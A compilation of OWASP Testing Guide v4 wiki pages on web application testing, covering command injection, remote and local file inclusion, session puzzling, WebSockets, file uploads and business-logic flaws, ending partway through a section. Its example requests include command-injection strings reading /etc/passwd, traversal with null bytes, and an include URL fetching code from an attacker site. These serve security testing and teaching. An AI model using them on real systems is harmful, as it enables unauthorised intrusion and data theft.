Tomcat is a HTTP server to host JSP and Java Servlet applications. By default, Tomcat shows the server version in the HTTP error responses.

Customization of the error responses can be configured in the configuration file web.xml.

<pre>
<error-page>
<error-code>404</error-code>
<location>/myerrorpagefor404.html</location>
</error-page>
</pre>

Testing for Buffer Overflow (OTG-INPVAL-014)

2014-08-08T13:23:27Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

==Summary==

To find out more about buffer overflow vulnerabilities, please go to [[Buffer Overflow]] pages.

See the OWASP article on [[Buffer_overflow_attack|Buffer Overflow]] Attacks.

See the OWASP article on [[Buffer_Overflow|Buffer Overflow]] Vulnerabilities.

==How to test ==

Different types of buffer overflow vulnerabilities have different testing methods. Here are the testing methods for the common types of buffer overflow vulnerabilities.

* [[Testing_for_Heap_Overflow|Testing for heap overflow vulnerability]]
* [[Testing_for_Stack_Overflow|Testing for stack overflow vulnerability]]
* [[Testing_for_Format_String|Testing for format string vulnerability]]

===Code Review===

See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing_Code_for_Buffer_Overruns_and_Overflows|Review Code for Buffer Overruns and Overflows]] Vulnerabilities.

==Remediation==

See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Buffer_Overflows|Avoid Buffer Overflow]] Vulnerabilities.

Testing for Command Injection (OTG-INPVAL-013)

2014-08-08T13:22:07Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==
This article describes how to test an application for OS command injection. The tester will try to inject an OS command through an HTTP request to the application.

OS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords. OS command injection is preventable when security is emphasized during the design and development of applications.

== How to Test ==
When viewing a file in a web application, the file name is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol “|” onto the end of the file name.

Example URL before alteration:<br>

<nowiki>http://sensitive/cgi-bin/userData.pl?doc=user1.txt</nowiki><br>

Example URL modified:<br>

<nowiki>http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|</nowiki><br>

This will execute the command “/bin/ls”.<br>

Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. %3B is url encoded and decodes to semicolon
<br>

Example:<br>
<nowiki>http://sensitive/something.php?dir=%3Bcat%20/etc/passwd</nowiki><br>

'''Example'''<br>
Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following:

<pre>
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf
</pre>

In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following:

<pre>
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf+|+Dir c:\
</pre>

If the application doesn't validate the request, we can obtain the following result:
<pre>
Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'
Output...
Il volume nell'unità C non ha etichetta.
Numero di serie Del volume: 8E3F-4B61
Directory of c:\
18/10/2006 00:27 2,675 Dir_Prog.txt
18/10/2006 00:28 3,887 Dir_ProgFile.txt
16/11/2006 10:43
Doc
11/11/2006 17:25
Documents and Settings
25/10/2006 03:11
I386
14/11/2006 18:51
h4ck3r
30/09/2005 21:40 25,934
OWASP1.JPG
03/11/2006 18:29
Prog
18/11/2006 11:20
Program Files
16/11/2006 21:12
Software
24/10/2006 18:25
Setup
24/10/2006 23:37
Technologies
18/11/2006 11:14
3 File 32,496 byte
13 Directory 6,921,269,248 byte disponibili
Return code: 0
</pre>

In this case, we have successfully performed an OS injection attack.

==Tools==

* OWASP [[OWASP WebScarab Project |WebScarab]]<br>
* OWASP [[OWASP WebGoat Project|WebGoat]]

== References ==

'''White papers'''<br>
* http://www.securityfocus.com/infocus/1709<br>

== Remediation ==
===Sanitization===
The URL and form data needs to be sanitized for invalid characters. A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet. A “white list” containing only allowable characters should be created to validate the user input. Characters that were missed, as well as undiscovered threats, should be eliminated by this list.<br>

===Permissions===
The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view<br>

Testing for Remote File Inclusion

2014-08-08T13:21:22Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:

*Code execution on the web server
*Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
*Denial of Service (DoS)
*Sensitive Information Disclosure

'''Remote File Inclusion''' (also known as RFI) is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.

== How to Test ==

Since RFI occurs when paths passed to "include" statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters. Consider the following PHP example:
<pre>
$incfile = $_REQUEST["file"];
include($incfile.".php");
</pre>

In this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against a white list), so this snippet of code results vulnerable to this type of attack. Consider infact the following URL:

<pre>
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page
</pre>

In this case the remote file is going to be included and any code contained in it is going to be run by the server.

== References ==

'''Whitepapers'''
* “Remote File Inclusion” - http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion
* Wikipedia: "Remote File Inclusion" - http://en.wikipedia.org/wiki/Remote_File_Inclusion

== Remediation ==

The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.

Testing for Local File Inclusion

2014-08-08T13:20:55Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}
== Summary ==

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:

*Code execution on the web server
*Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
*Denial of Service (DoS)
*Sensitive Information Disclosure

'''Local File Inclusion''' (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.

== How to Test ==

Since LFI occurs when paths passed to "include" statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters.

Consider the following example:

<pre>
http://vulnerable_host/preview.php?file=example.html
</pre>

This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.

Typical proof-of-concept would be to load passwd file:
<pre>
http://vulnerable_host/preview.php?file=../../../../etc/passwd
</pre>

If the above mentioned conditions are met, an attacker would see something like the following:
<pre>
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
alex:x:500:500:alex:/home/alex:/bin/bash
margo:x:501:501::/home/margo:/bin/bash
...
</pre>

Very often, even when such vulnerability exists, its exploitation is a bit more complex. Consider the following piece of code:
<pre>
<?php “include/”.include($_GET['filename'].“.php”); ?>
</pre>

In the case, simple substitution with arbitrary filename would not work as the postfix 'php' is appended. In order to bypass it, a technique with null-byte terminators is used. Since %00 effectively presents the end of the string, any characters after this special byte will be ignored. Thus, the following request will also return an attacker list of basic users attributes:

<pre>
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
</pre>

== References ==

* Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion
* Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion

== Remediation ==

The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.

Testing for Session puzzling (OTG-SESS-008)

2014-08-08T13:18:51Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==

Session Variable Overloading (also known as Session Puzzling) is an application level vulnerability which can enable an attacker to perform a variety of malicious actions, including by not limited to:
* Bypass efficient authentication enforcement mechanisms, and impersonate legitimate users.
* Elevate the privileges of a malicious user account, in an environment that would otherwise be considered foolproof.
* Skip over qualifying phases in multi-phase processes, even if the process includes all the commonly recommended code level restrictions.
* Manipulate server-side values in indirect methods that cannot be predicted or detected.
* Execute traditional attacks in locations that were previously unreachable, or even considered secure.

This vulnerability occurs when an application uses the same session variable for more than one purpose. An attacker can potentially access pages in an order unanticipated by the developers so that the session variable is set in one context and then used in another.

For example, an attacker could use session variable overloading to bypass authentication enforcement mechanisms of applications that enforce authentication by validating the existence of session variables that contain identity–related values, which are usually stored in the session after a successful authentication process. This means an attacker first accesses a location in the application that sets session context and then accesses privileged locations that examine this context.

For example - an authentication bypass attack vector could be executed by accessing a publicly accessible entry point (e.g. a password recovery page) that populates the session with an identical session variable, based on fixed values or on user originating input.

==How to Test==
=== Black Box Testing ===

This vulnerability can be detected and exploited by enumerating all of the session variables used by the application and in which context they are valid. In particular this is possible by accessing a sequence of entry points and then examining exit points. In case of black box testing this procedure is difficult and requires some luck since every different sequence could lead to a different result.

====Examples====

A very simple example could be the password reset functionality that, in the entry point, could request the user to provide some identifying information such as the username or the e-mail address. This page might then populate the session with these identifying values, which are received directly from the client side, or obtained from queries or calculations based on the received input. At this point there may be some pages in the application that show private data based on this session object. In this manner the attacker could bypass the authentication process.

=== Gray Box testing ===

The most effective way to detect these vulnerabilities is via a source code review.

==References==
'''Whitepapers'''<br>
* Session Puzzles: http://puzzlemall.googlecode.com/files/Session%20Puzzles%20-%20Indirect%20Application%20Attack%20Vectors%20-%20May%202011%20-%20Whitepaper.pdf
* Session Puzzling and Session Race Conditions: http://sectooladdict.blogspot.com/2011/09/session-puzzling-and-session-race.html

==Remediation==

Session variables should only be used for a single consistent purpose.

Testing WebSockets (OTG-CLIENT-010)

2014-08-08T13:14:20Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Traditionally the HTTP protocol only allows one request/response per TCP connection. Asynchronous JavaScript and XML (AJAX) allows clients to send and receive data asynchronously (in the background without a page refresh) to the server, however, AJAX requires the client to initiate the requests and wait for the server responses (half-duplex).

HTML5 WebSockets allow the client/server to create a 'full-duplex' (two-way) communication channels, allowing the client and server to truly communicate asynchronously. WebSockets conduct their initial 'upgrade' handshake over HTTP and from then on all communication is carried out over TCP channels by use of frames.

== Description of the Issue ==

=== Origin ===

It is the server’s responsibility to verify the Origin header in the initial HTTP WebSocket handshake. If the server does not validate the origin header in the initial WebSocket handshake, the WebSocket server may accept connections from any origin. This could allow attackers to communicate with the WebSocket server cross-domain allowing for [[Top 10 2013-A8-Cross-Site Request Forgery (CSRF)]] type issues.

=== Confidentiality and Integrity ===

WebSockets can be used over unencrypted TCP or over encrypted TLS. To use unencrypted WebSockets the ''ws://'' URI scheme is used (default port 80), to use encrypted (TLS) WebSockets the ''wss://'' URI scheme is used (default port 443). Look out for [[Top 10 2013-A6-Sensitive Data Exposure]] type issues.

=== Authentication ===

WebSockets do not handle authentication, instead normal application authentication mechanisms apply, such as cookies, HTTP Authentication or TLS authentication. Look out for [[Top 10 2013-A2-Broken Authentication and Session Management]] type issues.

=== Authorization ===

WebSockets do not handle authorization, normal application authorization mechanisms apply. Look out for [[Top 10 2013-A4-Insecure Direct Object References]] and [[Top 10 2013-A7-Missing Function Level Access Control]] type issues.

=== Input Sanitization ===

As with any data originating from untrusted sources, the data should be properly sanitised and encoded. Look out for [[Top 10 2013-A1-Injection]] and [[Top 10 2013-A3-Cross-Site Scripting (XSS)]] type issues.

== Black Box testing and example ==

1. Identify that the application is using WebSockets.
*Inspect the client-side source code for the ''ws://'' or ''wss://'' URI scheme.
*Use Google Chrome's Developer Tools to view the Network WebSocket communication.
*Use [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy] (ZAP)'s WebSocket tab.

2. Origin.
* Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If a connection is established the server may not be checking the origin header of the WebSocket handshake.

3. Confidentiality and Integrity.
* Check that the WebSocket connection is using SSL to transport sensitive information (wss://).
* Check the SSL Implementation for security issues (Valid Certificate, BEAST, CRIME, RC4, etc). Refer to the [https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)] section of this guide.

4. Authentication.
* WebSockets do not handle authentication, normal black-box authentication tests should be carried out. Refer to the [https://www.owasp.org/index.php/Testing_for_authentication Authentication Testing] sections of this guide.

5. Authorization.
* WebSockets do not handle authorization, normal black-box authorization tests should be carried out. Refer to the [https://www.owasp.org/index.php/Testing_for_Authorization Authorization Testing] sections of this guide.

6. Input Sanitization.
* Use [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy] (ZAP)'s WebSocket tab to replay and fuzz WebSocket request and responses. Refer to the [https://www.owasp.org/index.php/Testing_for_Data_Validation Testing for Data Validation] sections of this guide.

=== Example 1 ===

Once we have identified that the application is using WebSockets (as described above) we can use the [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy (ZAP)] to intercept the WebSocket request and responses. ZAP can then be used to replay and fuzz the WebSocket request/responses.

[[File:OWASP_ZAP_WebSockets.png|600px]]

=== Example 2 ===

Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If the connection is allowed the WebSocket server may not be checking the WebSocket handshake's origin header. Attempt to replay requests previously intercepted to verify that cross-domain WebSocket communication is possible.

[[File:WebSocket_Client.png]]

== Gray Box testing ==
Gray box testing is similar to black box testing. In gray box testing the pen-tester has partial knowledge of the application. The only difference here is that you may have API documentation for the application being tested which includes the expected WebSocket request and responses.

== References ==

'''Whitepapers'''<br />
*'''HTML5 Rocks''' - Introducing WebSockets: Bringing Sockets to the Web: http://www.html5rocks.com/en/tutorials/websockets/basics/
*'''W3C''' - The WebSocket API: http://dev.w3.org/html5/websockets/
*'''IETF''' - The WebSocket Protocol: https://tools.ietf.org/html/rfc6455
*'''Christian Schneider''' - Cross-Site WebSocket Hijacking (CSWSH): http://www.christian-schneider.net/CrossSiteWebSocketHijacking.html
*'''Jussi-Pekka Erkkilä''' - WebSocket Security Analysis: http://juerkkil.iki.fi/files/writings/websocket2012.pdf
*'''Robert Koch'''- On WebSockets in Penetration Testing: http://www.ub.tuwien.ac.at/dipl/2013/AC07815487.pdf
*'''DigiNinja''' - OWASP ZAP and Web Sockets: http://www.digininja.org/blog/zap_web_sockets.php

'''Tools'''<br />
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.
*'''WebSocket Client''' - https://github.com/RandomStorm/scripts/blob/master/WebSockets.html
A WebSocket client that can be used to interact with a WebSocket server.
*'''Google Chrome Simple WebSocket Client''' - https://chrome.google.com/webstore/detail/simple-websocket-client/pfdhoblngboilpfeibdedpjgfnlcodoo?hl=en
Construct custom Web Socket requests and handle responses to directly test your Web Socket services.

Test Upload of Malicious Files (OTG-BUSLOGIC-009)

2014-08-08T13:12:30Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==

Many application’s business processes allow for the upload of data/information. We regularly check the validity and security of text but accepting files can introduce even more risk. To reduce the risk we may only accept certain file extensions, but attackers are able to encapsulate malicious code into inert file types. Testing for malicious files verifies that the application/system is able to correctly protect against attackers uploading malicious files.

Vulnerabilities related to the uploading of malicious files is unique in that these “malicious” files can easily be rejected through including business logic that will scan files during the upload process and reject those perceived as malicious. Additionally, this is different from uploading unexpected files in that while the file type may be accepted the file may still be malicious to the system.

Finally, "malicious" means different things to different systems, for example Malicious files that may exploit SQL server vulnerabilities may not be considered a "malicious" to a main frame flat file environment.

The application may allow the upload of malicious files that include exploits or shellcode without submitting them to malicious file scanning. Malicious files could be detected and stopped at various points of the application architecture such as: IPS/IDS, application server anti-virus software or anti-virus scanning by application as files are uploaded (perhaps offloading the scanning using SCAP).

== Example ==

Suppose a picture sharing application allows users to upload their .gif or .jpg graphic files to the web site. What if an attacker is able to upload a PHP shell, or exe file, or virus? The attacker may then upload the file that may be saved on the system and the virus may spread itself or through remote processes exes or shell code can be executed.

== How to Test==

Generic Testing Method

• Review the project documentation and use exploratory testing looking at the application/system to identify what constitutes and "malicious" file in your environment.

• Develop or acquire a known “malicious” file.

• Try to upload the malicious file to the application/system and verify that it is correctly rejected.

• If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated.

Specific Testing Method 1

• Using the Metasploit payload generation functionality generates a shellcode as a Windows executable using the Metasploit "msfpayload" command.

• Submit the executable via the application’s upload functionality and see if it is accepted or properly rejected.

Specific Testing Method 2

• Develop or create a file that should fail the application malware detection process. There are many available on the Internet such as ducklin.htm or ducklin-html.htm.

• Submit the executable via the application’s upload functionality and see if it is accepted or properly rejected.

Specific Testing Method 3

• Set up the intercepting proxy to capture the “valid” request for an accepted file.

• Send an “invalid” request through with a valid/acceptable file extension and see if the request is accepted or properly rejected.

== Related Test Cases ==

[[Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)| Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]]

[[Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)| Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)]]

== Tools ==

• Metasploit's payload generation functionality

• Intercepting proxy

== References ==

OWASP - Unrestricted File Upload - https://www.owasp.org/index.php/Unrestricted_File_Upload

Why File Upload Forms are a Major Security Threat - http://www.acunetix.com/websitesecurity/upload-forms-threat/

File upload security best practices: Block a malicious file upload - http://www.computerweekly.com/answer/File-upload-security-best-practices-Block-a-malicious-file-upload

Overview of Malicious File Upload Attacks - http://securitymecca.com/article/overview-of-malicious-file-upload-attacks/

Stop people uploading malicious PHP files via forms - http://stackoverflow.com/questions/602539/stop-people-uploading-malicious-php-files-via-forms

How to Tell if a File is Malicious - http://www.techsupportalert.com/content/how-tell-if-file-malicious.htm

CWE-434: Unrestricted Upload of File with Dangerous Type - http://cwe.mitre.org/data/definitions/434.html

Implementing Secure File Upload - http://infosecauditor.wordpress.com/tag/malicious-file-upload/

Watchful File Upload - http://palizine.plynt.com/issues/2011Apr/file-upload/

Matasploit Generating Payloads - http://www.offensive-security.com/metasploit-unleashed/Generating_Payloads

Project Shellcode – Shellcode Tutorial 9: Generating Shellcode Using Metasploit
http://www.projectshellcode.com/?q=node/29

Anti-Malware Test file - http://www.eicar.org/86-0-Intended-use.html

== Remediation ==

While safeguards such as black or white listing of file extensions, using “Content-Type” from the header, or using a file type recognizer may not always be protections against this type of vulnerability. Every application that accepts files from users must have a mechanism to verify that the uploaded file does not contain malicious code. Uploaded files should never be stored where the users or attackers can directly access them.

Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)

2014-08-08T13:11:33Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==

Many application’s business processes allow for the upload and manipulation of data that is submitted via files. But the business process must check the files and only allow certain “approved” file types. Deciding what files are "approved" is determined by the business logic and is application/system specific. The risk in that by allowing users to upload files, attackers may submit an unexpected file type that that could be executed and adversely impact the application or system through attacks that may deface the web site, perform remote commands, browse the system files, browse the local resources, attack other servers, or exploit the local vulnerabilities, just to name a few.

Vulnerabilities related to the upload of unexpected file types is unique in that the upload should quickly reject a file if it does not have a specific extension. Additionally, this is different from uploading malicious files in that in most cases an incorrect file format may not by it self be inherently “malicious” but may be detrimental to the saved data. For example if an application accepts Windows Excel files, if an similar database file is uploaded it may be read but data extracted my be moved to incorrect locations.

The application may be expecting only certain file types to be uploaded for processing, such as .CSV, .txt files. The application may not validate the uploaded file by extension (for low assurance file validation) or content (high assurance file validation). This may result in unexpected system or database results within the application/system or give attackers additional methods to exploit the application/system..

== Example ==

Suppose a picture sharing application allows users to upload a .gif or .jpg graphic file to the web site. What if an attacker is able to upload an html file with a <script> tag in it or php file? The system may move the file from a temporary location to the final location where the php code can now be executed against the application or system.

== How to Test ==

Generic Testing Method

• Review the project documentation and perform some exploratory testing looking for file types that should be "unsupported" by the application/system.

• Try to upload these “unsupported” files an verify that it are properly rejected.

• If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated.

Specific Testing Method

• Study the applications logical requirements.

• Prepare a library of files that are “not approved” for upload that may contain files such as: jsp, exe, or html files containing script.

• In the application navigate to the file submission or upload mechanism.

• Submit the “not approved” file for upload and verify that they are properly prevented from uploading

== Related Test Cases ==

[[Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)| Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]]

[[Test Upload of Malicious Files (OTG-BUSLOGIC-009)| Test Upload of Malicious Files (OTG-BUSLOGIC-009)]]

== References ==

OWASP - Unrestricted File Upload - https://www.owasp.org/index.php/Unrestricted_File_Upload

File upload security best practices: Block a malicious file upload - http://www.computerweekly.com/answer/File-upload-security-best-practices-Block-a-malicious-file-upload

Stop people uploading malicious PHP files via forms - http://stackoverflow.com/questions/602539/stop-people-uploading-malicious-php-files-via-forms

CWE-434: Unrestricted Upload of File with Dangerous Type - http://cwe.mitre.org/data/definitions/434.html

Secure Programming Tips - Handling File Uploads - https://www.datasprings.com/resources/dnn-tutorials/artmid/535/articleid/65/secure-programming-tips-handling-file-uploads?AspxAutoDetectCookieSupport=1

== Remediation ==

Applications should be developed with mechanisms to only accept and manipulate “acceptable“ files that the rest of the application functionality is ready to handle and expecting. Some specific examples include: Black or White listing of file extensions, using “Content-Type” from the header, or using a file type recognizer, all to only allow specified file types into the system.

Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006)

2014-08-08T13:10:16Z

Andrew Muller:

== Summary ==

Workflow vulnerabilities involve any type of vulnerability that allows the attacker to misuse an application/system in a way that will allow them to circumvent (not follow) the designed/intended workflow.

“A workflow consists of a sequence of connected steps where each step follows without delay or gap and ends just before the subsequent step may begin. It is a depiction of a sequence of operations, declared as work of a person or group, an organization of staff, or one or more simple or complex mechanisms. Workflow may be seen as any abstraction of real work.” (https://en.wikipedia.org/wiki/Workflow)

The application’s business logic must require that the user complete specific steps in the correct/specific order and if the workflow is terminated without correctly completing, all actions and spawned actions are “rolled back” or canceled. Vulnerabilities related to the circumvention of workflows or bypassing the correct business logic workflow are unique in that they are very application/system specific and careful manual misuse cases must be developed using requirements and use cases.

The applications business process must have checks to ensure that the user's transactions/actions are proceeding in the correct/acceptable order and if a transaction triggers some sort of action, that action will be “rolled back” and removed if the transaction is not successfully completed.

== Examples ==

Example 1

Many of us receive so type of “club/loyalty points” for purchases from grocery stores and gas stations. Suppose a user was able to start a transaction linked to their account and then after points have been added to their club/loyalty account cancel out of the transaction or remove items from their “basket” and tender. In this case the system either should not apply points/credits to the account until it is tendered or points/credits should be “rolled back” if the point/credit increment does not match the final tender. With this in mind, an attacker may start transactions and cancel them to build their point levels without actually buy anything.

Example 2

An electronic bulletin board system may be designed to ensure that initial posts do not contain profanity based on a list that the post is compared against. If a word on a "black" the list is found in the user entered text the submission is not posted. But, once a submission is posted the submitter can access, edit, and change the submission contents to include words included on the profanity/black list since on edit the posting is never compared again. Keeping this in mind, attackers may open an initial blank or minimal discussion then add in whatever they like as an update.

== How to Test ==

Generic Testing Method

• Review the project documentation and use exploratory testing looking for methods to skip or go to steps in the application process in a different order from the designed/intended business logic flow.

• For each method develop a misuse case and try to circumvent or perform an action that is "not acceptable" per the the business logic workflow.

Testing Method 1

• Start a transaction going through the application past the points that triggers credits/points to the users account.

• Cancel out of the transaction or reduce the final tender so that the point values should be decreased and check the points/ credit system to ensure that the proper points/credits were recorded.

Testing Method 2

• On a content management or bulletin board system enter and save valid initial text or values.

• Then try to append, edit and remove data that would leave the existing data in an invalid state or with invalid values to ensure that the user is not allowed to save the incorrect information. Some "invalid" data or information may be specific words (profanity) or specific topics (such as political issues).

== Related Test Cases ==

[[Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) | Testing Directory traversal/file include (OTG-AUTHZ-001)]]

[[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)| Testing for bypassing authorization schema (OTG-AUTHZ-002)]]

[[Testing for Session_Management_Schema (OTG-SESS-001)| Testing for Bypassing Session Management Schema (OTG-SESS-001)]]

[[Test business logic data validation (OTG-BUSLOGIC-001)| Test Business Logic Data Validation (OTG-BUSLOGIC-001)]]

[[Test Ability to forge requests (OTG-BUSLOGIC-002)| Test Ability to Forge Requests (OTG-BUSLOGIC-002)]]

[[Test integrity checks (OTG-BUSLOGIC-003)| Test Integrity Checks (OTG-BUSLOGIC-003)]]

[[Test for Process Timing (OTG-BUSLOGIC-004)| Test for Process Timing (OTG-BUSLOGIC-004)]]

[[Test number of times a function can be used limits (OTG-BUSLOGIC-005)| Test Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005)]]

[[Test defenses against application mis-use (OTG-BUSLOGIC-007)|Test Defenses Against Application Mis-use (OTG-BUSLOGIC-007)]]

[[Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)| Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)]]

[[Test Upload of Malicious Files (OTG-BUSLOGIC-009)|Test Upload of Malicious Files (OTG-BUSLOGIC-009)]]

== References ==

OWASP Detail Misuse Cases - https://www.owasp.org/index.php/Detail_misuse_cases

Real-Life Example of a 'Business Logic Defect - http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581

Top 10 Business Logic Attack Vectors Attacking and Exploiting Business Application
Assets and Flaws – Vulnerability Detection to Fix - http://www.ntobjectives.com/go/business-logic-attack-vectors-white-paper/ and http://www.ntobjectives.com/files/Business_Logic_White_Paper.pdf

CWE-840: Business Logic Errors - http://cwe.mitre.org/data/definitions/840.html

== Remediation ==

The application must be self-aware and have checks in place ensuring that the users complete each step in the work flow process in the correct order and prevent attackers from circumventing/skipping/or repeating any steps/processes in the workflow. Test for workflow vulnerabilities involves developing business logic abuse/misuse cases with the goal of successfully completing the business process while not completing the correct steps in the correct order.

Test number of times a function can be used limits (OTG-BUSLOGIC-005)

2014-08-08T13:08:23Z

Andrew Muller:

== Summary ==

Many of the problems that applications are solving require limits to the number of times a function can be used or action can be executed. Applications must be “smart enough” to not allow the user to exceed their limit on the use of these functions since in many cases each time the function is used the user may gain some type of benefit that must be accounted for to properly compensate the owner. For example: an eCommerce site may only allow a users apply a discount once per transaction, or some applications may be on a subscription plan and only allow users to download three complete documents monthly.

Vulnerabilities related to testing for the function limits are application specific and misuse cases must be created that strive to exercise parts of the application/functions/ or actions more than the allowable number of times.

Attackers may be able to circumvent the business logic and execute a function more times than “allowable” exploiting the application for personal gain.

== Example ==

Suppose an eCommerce site allows users to take advantage of any one of many discounts on their total purchase and then proceed to checkout and tendering. What happens of the attacker navigates back to the discounts page after taking and applying the one “allowable” discount? Can they take advantage of another discount? Can they take advantage of the same discount multiple times?

==How to Test ==

